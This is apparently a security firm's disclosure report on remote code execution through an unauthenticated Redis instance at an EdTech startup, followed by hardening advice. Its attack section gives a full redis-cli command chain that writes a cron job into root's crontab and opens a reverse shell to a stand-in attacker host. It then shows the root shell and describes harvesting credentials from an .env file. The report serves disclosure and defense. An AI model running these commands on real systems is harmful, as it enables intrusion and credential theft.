SDXSDXSHADOW LABS
Back to Disclosures
CRITICALSDX-2025-002 July 2025

Remote Code Execution (RCE) via Unauthenticated Redis Exposure on EdTech Server

Category: Server Security
Status: Remediated

Executive Summary

In July 2025, during a black-box infrastructure security assessment for an early-stage educational technology startup, the SDX Shadow Labs research team identified an unauthenticated Remote Code Execution (RCE) vulnerability.

The compromise vector originated from a publicly exposed, unauthenticated Redis database instance running on port 6379 of the startup's primary API application server. Because the Redis service lacked password protection and was bound to all interface routes (0.0.0.0), our team was able to connect remotely and write arbitrary data payloads directly into the system's cron directory. This resulted in execution of a reverse shell script with elevated system permissions (root), threatening AWS production credential pools and the PII of over 100,000 active students.


Technical Analysis & Vulnerability Mechanics

Redis stores its key-value data structures in memory but periodically persists this data to disk using database snapshots (RDB files). The destination folder and file name for these snapshots are controlled by the dir and dbfilename runtime configuration parameters.

In an unauthenticated deployment, an attacker can invoke administrative configurations remotely to write files to arbitrary paths on the server:

  1. Working Directory Manipulation: Change the snapshot output directory to a system folder that regularly executes scripts or configurations, such as /var/spool/cron/crontabs/ or /etc/cron.d/.
  2. Database Filename Modification: Set the snapshot database filename to match the filename of a user crontab configuration (e.g., root).
  3. Payload Persistency: Insert a new string key containing a formatted cron syntax entry with leading and trailing newlines to isolate the command payload from the binary snapshot data.
  4. Flush snapshot: Trigger a synchronous save command (SAVE), forcing Redis to write the memory state containing the cron execution string directly to the target system crontab directory.

Once written, the system cron daemon (cron) parses the file and executes the injected shell command as the targeted system user (root).


Step-by-Step Attack Path

1. Port Enumeration & Exposure Discovery

During an external network port scan of the target host, we discovered port 6379/tcp was open and responding. We attempted an unauthenticated connection using the Redis command line interface (redis-cli):

$ redis-cli -h api.target-startup.com
api.target-startup.com:6379> ping
PONG

The server responded with PONG, confirming unauthenticated administrative access.

2. Environment Verification & Directory Traversal

We queried the server's runtime settings to check if directory write paths could be altered:

api.target-startup.com:6379> config get dir
1) "dir"
2) "/var/lib/redis"

The server permitted read and write commands. We then verified the running system OS environment using the INFO command, which indicated that the service was running as the root user context on a standard Ubuntu host.

3. Cron Job Injection & RCE Execution

To achieve code execution, we targeted the root user's cron schedule. We configured our local listener to receive the reverse shell, then ran the following command chain inside redis-cli:

# 1. Point the database directory to the system cron directory
api.target-startup.com:6379> config set dir /var/spool/cron/crontabs

# 2. Set the target file to overwrite the root user's cron definitions
api.target-startup.com:6379> config set dbfilename root

# 3. Inject the payload key with newlines to ensure clean cron parser reading
api.target-startup.com:6379> set payload "\n\n* * * * * /bin/bash -c 'sh -i >& /dev/tcp/attacker-ip.com/9001 0>&1'\n\n"

# 4. Force synchronous disk write
api.target-startup.com:6379> save
OK

Within 60 seconds, the Ubuntu system cron daemon parsed the newly overwritten /var/spool/cron/crontabs/root file. The daemon ignored the binary snapshot headers and executed our injected payload. Our listener captured the active shell:

$ nc -lvnp 9001
Connection received on api.target-startup.com
# id
uid=0(root) gid=0(root) groups=0(root)

4. Credential Harvesting

From the root-level shell, we located the application repository environment configuration (/usr/src/app/.env). This file contained database credentials, third-party integration keys, and AWS access tokens that granted full access to the cloud environment containing student PII.


Remediation & Verification

Safe Configuration Standards

We advised the startup's infrastructure team to immediately shut down the exposed port and apply the following defensive configurations to /etc/redis/redis.conf:

  1. Bind to Local Host Only: Ensure Redis is not exposed to the public internet by binding it only to the loopback interface:
    bind 127.0.0.1 ::1
    
  2. Enable Password Authentication: Configure strong password authentication using requirepass in the config file:
    requirepass [Generically_Generated_Complex_Secret_String]
    
  3. Rename Dangerous Commands: Disable or rename configuration commands used in the exploit chain:
    rename-command CONFIG ""
    rename-command SAVE ""
    rename-command BGSAVE ""
    rename-command FLUSHALL ""
    

Verification

Following the application of the remediation steps, we verified that port 6379 was closed to all external traffic. Internal testing confirmed that the configuration commands were disabled and password verification was enforced, preventing any unauthenticated command injection.